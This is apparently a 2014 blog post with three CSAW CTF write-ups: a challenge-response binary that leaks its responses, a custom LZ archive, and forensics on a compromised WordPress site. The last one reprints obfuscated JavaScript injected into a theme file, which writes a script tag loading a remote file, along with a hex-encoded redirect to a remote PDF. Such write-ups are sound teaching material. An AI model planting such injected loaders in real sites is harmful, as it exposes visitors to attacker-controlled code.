Sunday, September 21, 2014

CSAW'14 - 'saturn' writeup

This was an exploitation task for 400 points. I felt like ish and s3 were more difficult, and more people solved saturn, so this seems to be right. Let's get to the bottom of this. Here is the description:
You have stolen the checking program for the CSAW Challenge-Response-Authentication-Protocol system. Unfortunately you forgot to grab the challenge-response keygen algorithm ( Can you still manage to bypass the secure system and read the flag?
So we will need a shared object to run the application. Let's see what we need to include in this. Looking at the imports in IDA, we can see that there is a very suspiciously named function, called fillChallengeResponse. If we go to the xrefs of this function, we can see that there is only one place where it is used, and it's used with the following parameters:
fillChallengeResponse(challenge, response)
If the returned value is -1, the program will exit. Otherwise the challenge and response were properly filled. challenge and response are 32 byte long buffers. Let's implement this function and create a shared object, so that we can test/debug the program.
typedef unsigned char uint8_t;

void fillChallengeResponse(uint8_t* challenge, uint8_t* response) {
    int i;

    for (i = 0; i < 32; ++i) {
        challenge[i] = 'a' + i;
        response[i] = 'A' + i;
In this dummy version, the challenges will be 'a', 'b', 'c', ..., and the responses will be the uppercase counterparts. We can compile this file with the following command:
gcc -shared -m32 -o -fPIC challengeresponse.c 
Then we have to place this object to /usr/lib. Now we can run the application and mess around with it, which will turn out to be very useful!

After a very small amount of reversing, we can see that there are three types of commands. The program reads a single byte, and the upper 4 bits decide the command type, while the lower 4 will be the parameter. 'A' (as in 0b1010) will read a part of the challenge. 'E' will send a response for a given index. '8' will attempt to read the flag -- this will only work if all the correct reponses have been sent.
if ( fillChallengeResponse(challenge, response) == -1 )
puts("CSAW ChallengeResponseAuthenticationProtocol Flag Storage");
for ( i = 0; i <= 0; ++i )
  v0 = read_one_char();
  char_all = v0;
  char_high = v0 & 0xF0;
  switch ( char_high )
    case 0xA0:
      i -= 2;
    case 0xE0:
      i -= 2;
    case 0x80:
return 0;
Let's play around with these commands. First, let's try to read some challenge values.
python -c 'print "\xA0"' | ./saturn
Huh, this is strange. 4 characters for each challenge means that we will run out of challenges after the first 8 indices (4 * 8 == 32, which is the length of the challenge buffer). This is confirmed after another test.
python -c 'print "\xA8"' | ./saturn
Indeed, this is the first part of the responses. We aren't supposed to see these. This will be easier than I thought. To "exploit" this service, all we have to do is read the output of A8, A9, AA, etc., and then send these values with the E0, E1, etc. commands. Here is how the exploit looks like in python:
All in all, a nice challenge. many thanks to crowell!

CSAW'14 - 'weissman' writeup

This was a reversing task for 300 points. The task description was simply "Extract the key!". Let's look at the weissman.csawlz file that they provided.

This appears to be a custom file format that uses some form of LZ compression at its core. After some tinkering we managed to figure out the main structure of the file. The "3" means that there are 3 files in the archive. "AAee" is the magic in the header of each file entry.

The compressed files contain a bunch of blocks, with a special "flag" byte in front of each. The LSB of these bytes tells us whether the block is compressed. The rest of the flag is the size of the following block. If the block is compressed, 2 bytes follow, that somehow point to another block that was uncompressed. We did not figure out what (possibly) hashing algorithm was used to point to previous blocks, but it turns out that we don't need it at all.

The hint said that we need to extract key.jpg. However, compressing a jpg file (with this algorithm) makes no sense. Compared to the 500 compressed blocks in the first file, which is an HTML document, the jpg only had about 50. Here we took a leap of faith and just replaced those blocks with the appropriate number of zeroes. Here is the result:

After a fair amount of squinting, we could read the flag. Here it is after some reparations in paint:

And suddenly the whole "Weissman" thing makes sense.

If anyone is interested, here's the code to generate the above picture from a cropped version of the archive, containing only key.jpg's compressed form:
Thanks to RyanWithZombies for this awesome task!

CSAW'14 - 'Fluffy No More' writeup

This was a very nice forensics challenge for 300 points. It was very well built and logical. As a result, a lot of people solved it. I'll do a writeup anyway.

The following files/folders were provided:

  • etc/
  • var/log
  • var/www
  • mysql_backup.sql
/var/www contained a wordpress installation. The timestamps here were completely reset, which made things a bit harder. I did not find anything useful in the apache logs. They were just too big to completely cover. However, /var/log/auth.log contained a lot of useful information, and turned out the key to success. The following line was the first clue:

PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/vi /var/www/html/wp-content/themes/twentythirteen/js/html5.js
Someone apparently edited a js file in the twentythirteen theme, and they forgot to clear the logs. This could have been found through a lot of diffing, which would have been the thing to do, should we not find anything in the logs. We spared some time here. Diffing the original html5.js shows that there is some code appended to the original, which looks like this:

var g = "ti";
var c = "HTML Tags";
var f = ". li colgroup br src datalist script option .";
f = f.split(" ");
c = "";
k = "/";
m = f[6];
for (var i = 0; i < f.length; i++) {
    c += f[i].length.toString();
v = f[0];
x = "\'ht";
b = f[4];
f = 2541 * 6 - 35 + 46 + 12 - 15269;
c += f.toString();
f = (56 + 31 + 68 * 65 + 41 - 548) / 4000 - 1;
c += f.toString();
f = "";
c = c.split("");
var w = 0;
u = "s";
for (var i = 0; i < c.length; i++) {
    if (((i == 3 || i == 6) && w != 2) || ((i == 8) && w == 2)) {
        f += String.fromCharCode(46);
    f += c[i];
i = k + "anal";
document.write("<" + m + " " + b + "=" + x + "tp:" + k + k + f + i + "y" + g + "c" + u + v + "j" + u + "\'>\</" + m + "\>");
Changing document.write to console.log and then executing the script yields the following result:

<script src=''></script>
Loading the JS file and beautifying it results in another fishy part in the analytics.js file:

var _0x91fe = ["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E"];
window[_0x91fe[2]](_0x91fe[0], _0x91fe[1]);
Decoding the hex-encoded string gives us a url for a pdf file
After this I got stuck, and it was a teammate that told be about qpdf. Using this tool, we can extract information from the file. Looking at the extracted pdf file, we can find another js snippet:

var _0xee0b=["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D"];
var y=_0xee0b[0];
Another round of decoding, and we get the flag:
YOU DID IT! CONGRATS! fwiw, javascript obfuscation is sofa king dumb  :) key{Those Fluffy Bunnies Make Tummy Bumpy}
Nice task, props to brad_anton!